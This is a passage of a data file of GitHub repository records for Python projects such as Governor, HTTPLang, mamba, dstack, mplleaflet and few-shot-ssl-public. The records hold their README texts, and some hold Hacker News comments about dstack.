etcd\n    * *password*: password for accessing etcd\n\n* *postgresql*\n  * *use_unix_socket*: set to true if governor shall connect to postgres via local unix socket instead of TCP/IP\n  * *name*: the name of the Postgres host, must be unique for the cluster\n  * *listen*: ip address + port that Postgres listening. Must be accessible from other nodes in the cluster if using streaming replication.\n  * *data_dir*: file path to initialize and store Postgres data files\n  * *maximum_lag_on_failover*: the maximum bytes a follower may lag before it is not eligible become leader\n  * *replication*\n    * *username*: replication username, user will be created during initialization\n    * *password*: replication password, user will be created during initialization\n    * *network*: network setting for replication in pg_hba.conf\n  * *recovery_conf*: configuration settings written to recovery.conf when configuring follower\n  * *parameters*: list of configuration settings for Postgres\n  * *initdb_parameters*: list of custom parameters for the initdb during initialization\n\n* *haproxy_status*\n  * *listen*: ip address + port for haproxy check. Must be accesible for haproxy.\n\n## Replication choices\n\nGovernor uses Postgres' streaming replication.  By default, this replication is asynchronous.  For more information, see the [Postgres documentation on streaming replication](http://www.postgresql.org/docs/current/static/warm-standby.html#STREAMING-REPLICATION). \n\nGovernor's asynchronous replication configuration allows for `maximum_lag_on_failover` settings. This setting ensures failover will not occur if a follower is more than a certain number of bytes behind the follower.  This setting should be increased or decreased based on business requirements.\n\nWhen asynchronous replication is not best for your use-case, investigate how Postgres's [synchronous replication](http://www.postgresql.org/docs/current/static/warm-standby.html#SYNCHRONOUS-REPLICATION) works.  Synchronous replication ensures consistency across a cluster by confirming that writes are written to a secondary before returning to the connecting client with a success.  The cost of synchronous replication will be reduced throughput on writes.  This throughput will be entirely based on network performance.  In hosted datacenter environments (like AWS, Rackspace, or any network you do not control), synchrous replication increases the variability of write performance significantly.  If followers become inaccessible from the leader, the leader will becomes effectively readonly.\n\nTo enable a simple synchronous replication test, add the follow lines to the `parameters` section of your YAML configuration files.\n\n```YAML\n    synchronous_commit: \"on\"\n    synchronous_standby_names: \"*\"\n```\n\nWhen using synchronous replication, use at least a 3-Postgres data nodes to ensure write availability if one host fails.\n\nChoosing your replication schema is dependent on the many business decisions.  Investigate both async and sync replication, as well as other HA solutions, to determine which solution is best for you.\n\n## Applications should not use superusers\n\nWhen connecting from an application, always use a non-superuser. Governor requires access to the database to function properly.  By using a superuser from application, you can potentially use the entire connection pool, including the connections reserved for superusers with the `superuser_reserved_connections` setting. If Governor cannot access the Primary, because the connection pool is full, behavior will be undesireable.\n\n## Requirements on a Mac\n\nRun the following on a Mac to install requirements:\n\n```\nbrew install postgresql etcd haproxy libyaml python\npip install psycopg2 pyyaml\n```\n\n## Notice\n\nThere are many different ways to do HA with PostgreSQL, see [the\nPostgreSQL documentation](https://wiki.postgresql.org/wiki/Replication,_Clustering,_and_Connection_Pooling) for a complete list.\n\nWe call this project a \"template\" because it is far from a one-size fits\nall, or a plug-and-play replication system.  It will have it's own\ncaveats.  Use wisely.\n\nIRC\n=========\nWant to talk about Governor? Join us in #compose on irc.freenode.net!\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "f-prime/HTTPLang", "link": "https://github.com/f-prime/HTTPLang", "tags": [], "stars": 504, "description": "A scripting langauge to do HTTP routines. ", "lang": "Python", "repo_lang": "", "readme": "About\n=====\n\nHTTPLang is a scripting language that makes writing HTTP request routines simpler.\n\nCurrent Version\n===============\n\n0.2.0\n\nWhat could I use it for?\n====\n\n- Testing APIs\n- Web Scraping\n-\n\n\nInstallation\n====\n* Clone the repo\n* Run `python setup.py install`\n\nUsage\n===\n`httplang l<file.http>`\n\nDocumentation\n=============\n\nImportant Note\n--------------\n\nHTTPLang is very strict about things like spaces. Make sure that your code matches the spacing and what not exactly as shown in the examples. If not there will be errors.\n\nExamples\n--------\n\n\n```\n\nset URL \"http://google.com\"\ndo GET \"/\nshow RESPONSE\n\n``` \n\n```\nset URL \"http://google.com\"\nlabel \"loop\"\ndo GET /\nshow STATUS\ngoto \"label\"\n\n```\n\n```\n\nset URL \"http://somesite.com\"\nset POSTDATA \"username=myUsername&password=myPassword is this\"\ndo POST \"/login\"\nset COOKIE TMPCOOKIE\ndo GET \"/usercp\"\n\n```\n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "nestorsalceda/mamba", "link": "https://github.com/nestorsalceda/mamba", "tags": [], "stars": 504, "description": "The definitive testing tool for Python. Born under the banner of Behavior Driven Development (BDD).", "lang": "Python", "repo_lang": "", "readme": "# mamba: the definitive test runner for Python\n\n[![Build Status](https://travis-ci.org/nestorsalceda/mamba.svg)](https://travis-ci.org/nestorsalceda/mamba)\n[![Latest PyPI Version](https://img.shields.io/pypi/v/mamba.svg)](https://pypi.python.org/pypi/mamba)\n[![Read The Docs Status](https://readthedocs.org/projects/pip/badge/)](https://mamba-bdd.readthedocs.io/en/latest/)\n[![PyPI pyversions](https://img.shields.io/pypi/pyversions/mamba.svg)](https://pypi.python.org/pypi/mamba/)\n\n\n**mamba** is the definitive test runner for Python. Born under the banner of [behavior-driven development](https://en.wikipedia.org/wiki/Behavior-driven_development).\n\n## Install\n\nI recommend to use pipenv for managing your dependencies, thus you can install mamba like any other Python package.\n\nBy example:\n\n```\n  $ pipenv install mamba\n```\n\nBut you also can use pip:\n\n```\n  $ pip install mamba\n```\n\n\n## Getting Started\n\nWrite a very simple example that describes your code behaviour:\n\n```python\n  # tennis_spec.py\n\n  from mamba import description, context, it\n  from expects import expect, equal\n\n  with description('Tennis') as self:\n    with it('starts with 0 - 0 score'):\n      rafa_nadal = \"Rafa Nadal\"\n      roger_federer = \"Roger Federer\"\n      game = Game(rafa_nadal, roger_federer)\n\n      expect(game.score()).to(equal((0, 0)))\n```\n\n\nRun the example, and don't forget to watch it fail!\n\n```\n  $ pipenv run mamba tennis_spec.py\n\n  F\n\n  1 examples failed of 1 ran in 0.0023 seconds\n\n  Failures:\n\n    1) Tennis it starts with 0 - 0 score\n      Failure/Error: tennis_spec.py game = Game(rafa_nadal, roger_federer)\n          NameError: global name 'Game' is not defined\n\n      File \"tennis_spec.py\", line 8, in 00000001__it starts with 0 - 0 score--\n          game = Game(rafa_nadal, roger_federer)\n```\n\nNow write as little code for making it pass.\n\n```python\n  # tennis_spec.py\n\n  from mamba import description, context, it\n  from expects import expect, equal\n\n  import tennis\n\n  with description('Tennis') as self:\n    with it('starts with 0 - 0 score'):\n      rafa_nadal = \"Rafa Nadal\"\n      roger_federer = \"Roger Federer\"\n      game = tennis.Game(rafa_nadal, roger_federer)\n\n      expect(game.score()).to(equal((0, 0)))\n```\n\n```python\n  # tennis.py\n\n  class Game(object):\n    def __init__(self, player1, player2):\n      pass\n\n    def score(self):\n      return (0, 0)\n```\n\nRun the spec file and enjoy that all tests are green!\n\n```\n  $ pipenv run mamba tennis_spec.py\n\n  .\n\n  1 examples ran in 0.0022 seconds\n```\n\n## Settings\n\nMamba provides a way to configuration using `spec/spec_helper.py` or `specs/spec_helper.py`\nThis module function is read after parsing arguments so configure function overrides settings\n\nA sample config file :\n\n```python\ndef configure(settings):\n  # settings.slow_test_threshold = 0.075\n  # settings.enable_code_coverage = False\n  # settings.code_coverage_file = '.coverage'\n  settings.format = 'documentation'\n  # settings.no_color = False\n  # settings.tags = None\n\n```\n## Official Manual\n\nYou can read more features about mamba in its [official manual](https://mamba-bdd.readthedocs.io/en/latest/)\n\n## Contributors\n\nHere's a [list](https://github.com/nestorsalceda/mamba/graphs/contributors) of all the people who have contributed.\n\nI'm really grateful to each and every of them!\n\nIf you want to be one of them, fork [repository](http://github.com/nestorsalceda/mamba) and send a pull request.\n", "readme_type": "markdown", "hn_comments": "Another BDD tool? What's wrong with Behave?<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "mahmoodlab/CLAM", "link": "https://github.com/mahmoodlab/CLAM", "tags": ["histopathology", "pathology", "weakly-supervised-learning", "whole-slide-imaging", "data-efficient", "computational-pathology", "mahmoodlab", "bioimage-informatics", "deep-learning", "tcga-data", "camelyon16", "camelyon17", "clam"], "stars": 505, "description": "Data-efficient and weakly supervised computational pathology on whole slide images - Nature Biomedical Engineering", "lang": "Python", "repo_lang": "", "readme": "", "readme_type": "text", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "dstackai/dstack", "link": "https://github.com/dstackai/dstack", "tags": ["mlops", "gitops", "machine-learning", "aws", "python", "cloud", "infrastructure-as-code"], "stars": 504, "description": "\u2728 Set up reproducible ML workflows and run them locally or in any cloud, with on-demand resource allocation.", "lang": "Python", "repo_lang": "", "readme": "<div align=\"center\">\n<h1 align=\"center\">\n  <a target=\"_blank\" href=\"https://dstack.ai\">\n    <picture>\n      <source media=\"(prefers-color-scheme: dark)\" srcset=\"https://raw.githubusercontent.com/dstackai/dstack/master/docs/assets/logo-dark.svg\"/>\n      <img alt=\"dstack\" src=\"https://raw.githubusercontent.com/dstackai/dstack/master/docs/assets/logo.svg\" width=\"400px\"/>\n    </picture>\n  </a>\n</h1>\n\n<h4 align=\"center\">\nReproducible ML workflows\n</h4>\n\n<p align=\"center\">\n<code>dstack</code> is an open-source tool that allows running reproducible ML workflows independently of\nthe environment (locally or in the cloud), and collaborate around data and models. \n</p>\n\n[![Slack](https://img.shields.io/badge/slack-join%20community-blueviolet?logo=slack&style=for-the-badge)](https://join.slack.com/t/dstackai/shared_invite/zt-xdnsytie-D4qU9BvJP8vkbkHXdi6clQ)\n\n<p align=\"center\">\n<a href=\"https://docs.dstack.ai\" target=\"_blank\"><b>Docs</b></a> \u2022 \n<a href=\"https://docs.dstack.ai/quick-start\"><b>Quick start</b></a> \u2022 \n<a href=\"https://docs.dstack.ai/basics/hello-world\" target=\"_blank\"><b>Basics</b></a> \u2022 \n<a href=\"https://join.slack.com/t/dstackai/shared_invite/zt-xdnsytie-D4qU9BvJP8vkbkHXdi6clQ\" target=\"_blank\"><b>Slack</b></a> \n</p>\n\n[![Last commit](https://img.shields.io/github/last-commit/dstackai/dstack)](https://github.com/dstackai/dstack/commits/)\n[![PyPI - License](https://img.shields.io/pypi/l/dstack?style=flat&color=blue)](https://github.com/dstackai/dstack/blob/master/LICENSE.md)\n\n</div>\n\n`dstack` is an open-source tool that allows running reproducible ML workflows independently of\nthe environment. It allows running ML workflows locally or remotely (e.g. in a configured cloud account). \nAdditionally, `dstack` facilitates versioning and reuse of artifacts (such as data and models), across teams.\n\nIn brief, `dstack` simplifies the process of establishing ML training pipelines that are independent of a\nparticular vendor, and facilitates collaboration within teams on data and models.\n\n### How does it work?\n\n* Define workflows via YAML\n* Run workflows locally via CLI\n* Track and reuse artifacts across workflows\n* Run workflows remotely (in any configured cloud) via CLI\n* Version and share artifacts across teams\n\n## Installation\n\nUse pip to install the `dstack` CLI:\n\n```shell\npip install dstack --upgrade\n```\n\n## Example\n\nHere's an example from the [Quick start](https://docs.dstack.ai/quick-start).\n\n```yaml\nworkflows:\n  - name: mnist-data\n    provider: bash\n    commands:\n      - pip install torchvision\n      - python mnist/mnist_data.py\n    artifacts:\n      - path: ./data\n\n  - name: train-mnist\n    provider: bash\n    deps:\n      - workflow: mnist-data\n    commands:\n      - pip install torchvision pytorch-lightning tensorboard\n      - python mnist/train_mnist.py\n    artifacts:\n      - path: ./lightning_logs\n```\n\nWith workflows defined in this manner, `dstack` allows for effortless execution either locally or in a configured cloud\naccount, while also enabling reuse of artifacts.\n\n## Run locally\n\nUse the `dstack` CLI to run workflows locally:\n\n```shell\ndstack run mnist-data\n```\n\n## Configure a remote\n\nTo run workflows remotely (e.g. in the cloud) or share artifacts outside your machine, \nyou must configure your remote settings using the `dstack config` command:\n\n```shell\ndstack config\n```\n\nThis command will ask you to choose an AWS profile (which will be used for AWS credentials), an AWS\nregion (where workflows will be run), and an S3 bucket (to store remote artifacts and metadata).\n\n```shell\nAWS profile: default\nAWS region: eu-west-1\nS3 bucket: dstack-142421590066-eu-west-1\nEC2 subnet: none\n```\n\nFor more details on how to configure a remote, check the [installation](https://docs.dstack.ai/installation/#optional-configure-a-remote) guide.\n\n## Run remotely\n\nOnce a remote is configured, use the `--remote` flag with the `dstack run` command to run the \nworkflow in the configured cloud:\n\n```shell\ndstack run mnist-data --remote\n```\n\nYou can configure the required resources to run the workflows either via the `resources` property in YAML\nor the `dstack run` command's arguments, such as `--gpu`, `--gpu-name`, etc:\n\n```shell\ndstack run train-mnist --remote --gpu 1\n```\n\nWhen you run a workflow remotely, `dstack` automatically creates resources in the configured cloud,\nand releases them once the workflow is finished.\n\n## More information\n\nFor additional information and examples, see the following links:\n\n* [Docs](https://docs.dstack.ai/)\n* [Installation](https://docs.dstack.ai/installation)\n* [Quick start](https://docs.dstack.ai/quick-start)\n* [Basics](https://docs.dstack.ai/basics/hello-world)\n \n##  Licence\n\n[Mozilla Public License 2.0](LICENSE.md)", "readme_type": "markdown", "hn_comments": "Hey, congrats :) It's good to see more tools in this space. Question - how does it handle datasets and data management in general? Let's say we have a large amount of files on S3. Would it my task to copy them first as an initial step?<HN_SEP>This looks really interesting. Does it turn off the env after its done, cost would be a factor here when trying this out.<HN_SEP>I have a task:URLs to 10M images.I need to create a thumbnail for each of them.I.e. I need to download each image, resize and save in the webp format to the S3.Right now I am doing this locally and it takes forever, as my images are in high resolution their total size is a few Tb.Is there a tutorial that will describe how to do it? I was thinking about using AWS Lambda + SQS, but if DStack is an easier solution, I would be happy to check it out.<HN_SEP>Hi there! I\u2019m one of the developers of dstack. In case you are curious about the story behind dstack, why we decide to build it and how we made certain design decision, please make sure to read our blog post: https://blog.dstack.ai/p/how-dstack-works?s=wHappy to answer questions!<HN_SEP>Nice initiative<HN_SEP>Your website theme seems to be similar to many others lately re: the cartoon figures etc. Is this a free/paid/opensource template?<HN_SEP>how does this compare to dash by plotly, or r shiny, in terms of the intended use case?It looks like you are more of a wholistic platform, including a workflow scheduler etc.<HN_SEP>Looks great, how do you compare to other alternatives in the same space?<HN_SEP>I looked through github and see you have coded examples, can you also include the visual output so I can get a sense of what it'll achieve without having to set it up to see?<HN_SEP>I am trying to use dstack on my device and it still asked for a login information, which prompted me to read the terms and under \"User Content\" I notice this```\nYou hereby grant to Company an irreversible, nonexclusive, royalty-free and fully paid, worldwide license to reproduce, distribute, publicly display and perform, prepare derivative works of, incorporate into other works, and otherwise use and exploit your User Content, and to grant sublicenses of the foregoing rights, solely for the purposes of including your User Content in the Site.  You hereby irreversibly waive any claims and assertions of moral rights or attribution with respect to your User Content.\n```Are these texts common ?<HN_SEP>Does this need some License information adding to your repo? Something that protects you from someone taking this and running their own paid hosted version :) I take it it isn't MIT!<HN_SEP>Thanks for sharing!Can you elaborate on \u201cWhat\u2019s next\u201d?> User callbacks- so that application shows not just pre-calculated visualizations but also can fetch data from a store and process it in real-time.How are you envisioning this working? Will dstack be like a database? How will \u201cuser callbacks\u201d be triggered?<HN_SEP>How do you deal with differential versioning of code and data,  and the fact that people don't always execute notebooks from top to bottom?For instance,  suppose I have a notebook that takes 2 hours to generate a model.  From the viewpoint of explaining it I'd like to make a notebook where I start from the beginning,  train the model, then use it.If I want to show it to people I want to save all the results and re-render them,  not rerun the calculation,  certainly if I want to show off the results in a 1 hour talk!From the viewpoint of reproducibility,  however,  you have to be able to run the notebook from top to bottom and get a 'correct' result.  I'm not going to say the 'same' result because many calculations are stochastic in nature (e.g. random numbers) or because often the data changes.  (Let's say I have somebody make a notebook that does April's sales reports -- shouldn't I just be able to point it to the may data to make May's sales reports?)Between the long time delays (longer than people can hold a context in their mind,  longer than they want to wait) for the system to settle down and the total complexity I find that many people involved with data science violently resist confronting the above issues.  The effects are much like the visual \"blind spot\" -- you might get a series of projects that were 98% completed but didn't quite deliver business value although everybody feels like they did their part.Like other vendors in this crowded space,  dstack leads with technology as the key problematic \"e.g. supports Python and R\",  \"matlib,  Tensfolow,  plotly,  ...\"It's certainly true that people don't want to face up to reality in that area.  Maybe 50% or 90% of the \"waste\" in the area involves setting your dependencies up,  begging your boss to get you access to \"the cloud of your choice if that's what's needed\".  The trouble with is that investment in particular technologies are of temporary value (maybe people will still be using R in 2030,  maybe they won't be using Tensorflow,  almost certainly plotly gets bought by Google and shut down by then)Years back I researched the problem of running Tensorflow models that we got off the pavement,  building a database that says TF version X depends on CUDA version Y, CNN version Z,  and being able to have multiple copies of the userspace GPU drivers installed simultaneously (e.g. just put 'em in a directory and set the library path to point at 'em -- don't even need containers!)I could have sworn Google looked at my source because they did the one thing that could have broke that strategy.  Also the company I was working for lost interest in that particular shiny thing.  That's a basic problem with maintaining a distribution of other people's software -- like treading water it takes effort just to stay in one place.The more fundamental problems that turn up in going from data to decision and products are eternal and not tied to a particular technology.  If you solve those problems rather than chase the shiny you might break out of the pack.<HN_SEP>The github README is a bit confusing to understand (for someone with no experience). The [1] landing page shows a much clearer outline on what this actually is.Seems like it could be good for making data-driven dashboard graphs. Although [2] the react library looks like it needs a bit more work.Congrats on shipping something though![1] https://dstack.ai/[1] https://github.com/dstackai/dstack-react<HN_SEP>DataViz-as-a-service?<HN_SEP>So it's plot.ly, but costs money?Oh I see you have a dot-ai domain. Very cool.<HN_SEP>Hi HN,I am Riwaj from dstack.ai. dstack.ai offers a convenient way to publish, share, and track data visualizations, analysis results, and data reports.In our experience, as of now, many data analysts and data scientists work through the data in various tools such as excel, Jupyter notebook, etc. and then share the graphic with their peers, managers or clients using local network drives or emails in the form of PDFs or PowerPoints.  There is also a growing number of users and teams who use BI Tools, Tableau, Superset or build custom applications to organize interactive dashboards and reports. When it comes to tracking the visualizations or analyzing results, some teams resort to work around methods such as printing the result in a document and then using version control tools over the document. In summary,  there are a variety of tools available for exploring, tracking and sharing reports, but many of these allow to publish reports generated by their own tools thus allowing for very little flexibility for a team that works with multiple programming languages, tools, and plotting libraries.We at dstack.ai have built a light-weight solution where you can publish the data visualizations via APIs from anywhere (a Jupyter notebook, a script or an application) and store them in our web application (which is also mobile friendly) for collaboration with teams and clients, i.e., you can share the published charts via URL and comment on each stored chart (think of Instagram). Our current version supports Python and R as programming languages, and Matplotlib, Ggplot2, Plotly and Bokeh as plotting libraries. In our first version, we only support static charts and basic interactive charts, i.e., if you stored charts with certain parameters, the users who browse through those charts can play with only those specific parameter values.We think there is a lot more one can offer to improve the current process of a collaborative exploration of data visualization for teams. As basic as our current solution is, we are currently working on releasing new features such as \n- Organizing the charts into dashboards\n- User groups and permission management\n- Plugins for spreadsheets such as Google docs and MS Excel \n- Dynamic plots and dashboard that fetches data from a data source and can be scheduled to update regularly\n- A mobile application to access the visualizations, \n- On-prem optionsWe would love to hear about your challenges in the area of collaboration around data visualization, and receive any feedback on what we currently have. For your reference, here is the documentation for product usage. \nhttps://docs.dstack.ai<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "jwass/mplleaflet", "link": "https://github.com/jwass/mplleaflet", "tags": [], "stars": 504, "description": "Easily convert matplotlib plots from Python into interactive Leaflet web maps.", "lang": "Python", "repo_lang": "", "readme": "# mplleaflet\n\nmplleaflet is a Python library that converts a [matplotlib](http://matplotlib.org) plot into a webpage\ncontaining a pannable, zoomable [Leaflet](http://leafletjs.com) map. It can also [embed the Leaflet map in an IPython notebook](http://nbviewer.ipython.org/github/jwass/mplleaflet/blob/master/examples/NYC%20Boroughs.ipynb). The goal of mplleaflet is to enable use of Python and matplotlib for visualizing geographic data on [slippy maps](http://wiki.openstreetmap.org/wiki/Slippy_Map) without having to write any Javascript or HTML. You also don't need to worry about choosing the base map content i.e., coastlines, roads, etc.\n\n*Only one line of code is needed to convert a plot into a web map.*\n`mplleaflet.show()`\n\nThe library is heavily inspired by [mpld3](https://github.com/jakevdp/mpld3) and uses  [mplexporter](https://github.com/mpld3/mplexporter) to do most of the heavy lifting to walk through Figure objects.\n\n## Examples\n### Basic usage\nThe simplest use is to just create your plot using matplotlib commands and call `mplleaflet.show()`.\n\n```\n>>> import matplotlib.pyplot as plt\n... # Load longitude, latitude data\n>>> plt.hold(True)\n# Plot the data as a blue line with red squares on top\n# Just plot longitude vs. latitude\n>>> plt.plot(longitude, latitude, 'b') # Draw blue line\n>>> plt.plot(longitude, latitude, 'rs') # Draw red squares\n```\n![matplotlib x,y plot](examples/images/simple_plot.png)\n\nNormally, displaying data as longitude, latitude will cause a cartographer to cry. That's totally fine with mplleaflet, Leaflet will project your data properly.\n\n```\n# Convert to interactive Leaflet map\n>>> import mplleaflet\n>>> mplleaflet.show()\n```\n\n[Click to view final web page](http://htmlpreview.github.io/?https://github.com/jwass/mplleaflet/master/examples/readme_example.html)\n\n![Leaflet map preview](examples/images/simple_plot_map_preview.jpg)\n\nDisclaimer: Displaying data in spherical mercator might also cause a cartographer to cry.\n\n`show()` allows you to specify different tile layer URLs, CRS/EPSG codes, output files, etc. \n\n### IPython Notebook embedding\nJust use  `mplleaflet.display()` to embed the interactive Leaflet map in an IPython notebook.\n[Click here to see a live example.](http://nbviewer.ipython.org/github/jwass/mplleaflet/blob/master/examples/NYC%20Boroughs.ipynb)\n\n### Other examples\n* [basic_plot.py](examples/basic_plot.py): Simple line/point plotting. [View the map](http://htmlpreview.github.io/?https://github.com/jwass/mplleaflet/master/examples/basic_plot.html).\n* [quiver.py](examples/quiver.py): Demonstrates use of quiver() to plot 2-D arrows. [View the map](http://htmlpreview.github.io/?https://github.com/jwass/mplleaflet/master/examples/quiver.html).\n* [contour.py](examples/contour.py): Compute contour curves. This example demonstrates plotting in a different CRS and letting mplleaflet convert the output. [View the map](http://htmlpreview.github.io/?https://github.com/jwass/mplleaflet/master/examples/contour.html).\n* [Embedded IPython notebook example](http://nbviewer.ipython.org/github/jwass/mplleaflet/blob/master/examples/NYC%20Boroughs.ipynb)\n\n## Why mplleaflet?\nOther Python libraries, [basemap](http://matplotlib.org/basemap/) and\n[folium](https://github.com/wrobstory/folium), exist to create maps in Python. However mplleaflet allows you to leverage  all matplotlib capability without having to set up the background basemap. You can use `plot()` to style points and lines, and you can also use more complex functions like `contour()`, `quiver()`, etc. Furthermore, with mplleaflet you no longer have to worry about setting up the basemap. Displaying continents or roads is determined automatically by the zoom level required to view the physical size of the data. You should use a different library if you need fine control over the basemap, or need a geographic projection other than spherical mercator.\n\n## Installation\nInstall `mplleaflet` from PyPI using `$ pip install mplleaflet`.\n\n## Development\nIf developing for `mplleaflet`, `mplexporter` is a git submodule with its\nPython package files placed under the `mplleaflet` package. The Makefile\ncopies the files into the appropriate location.\n\n```\n$ git submodule init\n$ git submodule update\n$ make\n$ pip install -e .\n\n```\n\n## Dependencies\n* [jinja2](http://jinja.pocoo.org/)\n\nOptional\n* [pyproj](https://code.google.com/p/pyproj/) Only needed if you only use non-WGS-84 projections.\n* [GeoPandas](https://github.com/kjordahl/geopandas) To make your life easier.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "renmengye/few-shot-ssl-public", "link": "https://github.com/renmengye/few-shot-ssl-public", "tags": [], "stars": 504, "description": "Meta Learning for Semi-Supervised Few-Shot Classification", "lang": "Python", "repo_lang": "", "readme": "# few-shot-ssl-public\nCode for paper\n*Meta-Learning for Semi-Supervised Few-Shot Classification.* [[arxiv](https://arxiv.org/abs/1803.00676)]\n\n## Dependencies\n* cv2\n* numpy\n* pandas\n* python 2.7 / 3.5+\n* tensorflow 1.3+\n* tqdm\n\nOur code is tested on Ubuntu 14.04 and 16.04.\n\n## Setup\nFirst, designate a folder to be your data root:\n```\nexport DATA_ROOT={DATA_ROOT}\n```\n\nThen, set up the datasets following the instructions in the subsections.\n\n### Omniglot\n[[Google Drive](https://drive.google.com/open?id=1INlOTyPtnCJgm0hBVvtRLu5a0itk8bjs)]  (9.3 MB)\n```\n# Download and place \"omniglot.tar.gz\" in \"$DATA_ROOT/omniglot\".\nmkdir -p $DATA_ROOT/omniglot\ncd $DATA_ROOT/omniglot\nmv ~/Downloads/omniglot.tar.gz .\ntar -xzvf omniglot.tar.gz\nrm -f omniglot.tar.gz\n```\n\n### miniImageNet\n[[Google Drive](https://drive.google.com/open?id=16V_ZlkW4SsnNDtnGmaBRq2OoPmUOc5mY)]  (1.1 GB)\n\nUpdate: Python 2 and 3 compatible version:\n[[train](https://drive.google.com/file/d/1I3itTXpXxGV68olxM5roceUMG8itH9Xj)]\n[[val](https://drive.google.com/file/d/1KY5e491bkLFqJDp0-UWou3463Mo8AOco)]\n[[test](https://drive.google.com/file/d/1wpmY-hmiJUUlRBkO9ZDCXAcIpHEFdOhD)]\n```\n# Download and place \"mini-imagenet.tar.gz\" in \"$DATA_ROOT/mini-imagenet\".\nmkdir -p $DATA_ROOT/mini-imagenet\ncd $DATA_ROOT/mini-imagenet\nmv ~/Downloads/mini-imagenet.tar.gz .\ntar -xzvf mini-imagenet.tar.gz\nrm -f mini-imagenet.tar.gz\n```\n\n### tieredImageNet\n[[Google Drive](https://drive.google.com/open?id=1g1aIDy2Ar_MViF2gDXFYDBTR-HYecV07)]  (12.9 GB)\n```\n# Download and place \"tiered-imagenet.tar\" in \"$DATA_ROOT/tiered-imagenet\".\nmkdir -p $DATA_ROOT/tiered-imagenet\ncd $DATA_ROOT/tiered-imagenet\nmv ~/Downloads/tiered-imagenet.tar .\ntar -xvf tiered-imagenet.tar\nrm -f tiered-imagenet.tar\n```\nNote: Please make sure that the following hardware requirements are met before running\ntieredImageNet experiments.\n* Disk: **30 GB**\n* RAM: **32 GB**\n\n\n## Core Experiments\nPlease run the following scripts to reproduce the core experiments.\n```\n# Clone the repository.\ngit clone https://github.com/renmengye/few-shot-ssl-public.git\ncd few-shot-ssl-public\n\n# To train a model.\npython run_exp.py --data_root $DATA_ROOT             \\\n                  --dataset {DATASET}                \\\n                  --label_ratio {LABEL_RATIO}        \\\n                  --model {MODEL}                    \\\n                  --results {SAVE_CKPT_FOLDER}       \\\n                  [--disable_distractor]\n\n# To test a model.\npython run_exp.py --data_root $DATA_ROOT             \\\n                  --dataset {DATASET}                \\\n                  --label_ratio {LABEL_RATIO}        \\\n                  --model {MODEL}                    \\\n                  --results {SAVE_CKPT_FOLDER}       \\\n                  --eval --pretrain {MODEL_ID}       \\\n                  [--num_unlabel {NUM_UNLABEL}]      \\\n                  [--num_test {NUM_TEST}]            \\\n                  [--disable_distractor]             \\\n                  [--use_test]\n```\n* Possible `{MODEL}` options are `basic`, `kmeans-refine`, `kmeans-refine-radius`, and `kmeans-refine-mask`.\n* Possible `{DATASET}` options are `omniglot`, `mini-imagenet`, `tiered-imagenet`.\n* Use `{LABEL_RATIO}` 0.1 for `omniglot` and `tiered-imagenet`, and 0.4 for `mini-imagenet`. \n* Replace `{MODEL_ID}` with the model ID obtained from the training program.\n* Replace `{SAVE_CKPT_FOLDER}` with the folder where you save your checkpoints.\n* Add additional flags `--num_unlabel 20 --num_test 20` for testing `mini-imagenet` and `tiered-imagenet` models, so that each episode contains 20 unlabeled images per class and 20 query images per class.\n* Add an additional flag `--disable_distractor` to remove all distractor classes in the unlabeled images.\n* Add an additional flag `--use_test` to evaluate on the test set instead of the validation set.\n* More commandline details see `run_exp.py`.\n\n## Simple Baselines for Few-Shot Classification\nPlease run the following script to reproduce a suite of baseline results.\n```\npython run_baseline_exp.py --data_root $DATA_ROOT    \\\n                           --dataset {DATASET}\n```\n* Possible `DATASET` options are `omniglot`, `mini-imagenet`, `tiered-imagenet`.\n\n## Run over Multiple Random Splits\nPlease run the following script to reproduce results over 10 random label/unlabel splits, and test \nthe model with different number of unlabeled items per episode. The default seeds are 0, 1001, ..., \n9009.\n```\npython run_multi_exp.py --data_root $DATA_ROOT       \\\n                        --dataset {DATASET}          \\\n                        --label_ratio {LABEL_RATIO}  \\\n                        --model {MODEL}              \\\n                        [--disable_distractor]       \\\n                        [--use_test]\n```\n* Possible `MODEL` options are `basic`, `kmeans-refine`, `kmeans-refine-radius`, and `kmeans-refine-mask`.\n* Possible `DATASET` options are `omniglot`, `mini_imagenet`, `tiered_imagenet`.\n* Use `{LABEL_RATIO}` 0.1 for `omniglot` and `tiered-imagenet`, and 0.4 for `mini-imagenet`. \n* Add an additional flag `--disable_distractor` to remove all distractor classes in the unlabeled images.\n* Add an additional flag `--use_test` to evaluate on the test set instead of the validation set.\n\n## Citation\nIf you use our code, please consider cite the following:\n* Mengye Ren, Eleni Triantafillou, Sachin Ravi, Jake Snell, Kevin Swersky, Joshua B. Tenenbaum, Hugo Larochelle and Richard S. Zemel.\nMeta-Learning for Semi-Supervised Few-Shot Classification. \nIn *Proceedings of 6th International Conference on Learning Representations (ICLR)*, 2018.\n\n```\n@inproceedings{ren18fewshotssl,\n  author   = {Mengye Ren and \n              Eleni Triantafillou and \n              Sachin Ravi and \n              Jake Snell and \n              Kevin Swersky and \n              Joshua B. Tenenbaum and \n              Hugo Larochelle and \n              Richard S. Zemel},\n  title    = {Meta-Learning for Semi-Supervised Few-Shot Classification},\n  booktitle= {Proceedings of 6th International Conference on Learning Representations {ICLR}},\n  year     = {2018},\n}\n```\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "milvus-io/pymilvus", "link": "https://github.com/milvus-io/pymilvus", "tags": ["vector", "anns", "database", "python", "hacktoberfest", "sdk", "milvus"], "stars": 504, "description": "Python SDK for Milvus.", "lang": "Python", "repo_lang": "", "readme": "# Milvus Python SDK\n\n[![version](https://img.shields.io/pypi/v/pymilvus.svg?color=blue)](https://pypi.org/project/pymilvus/)\n[![Supported Python 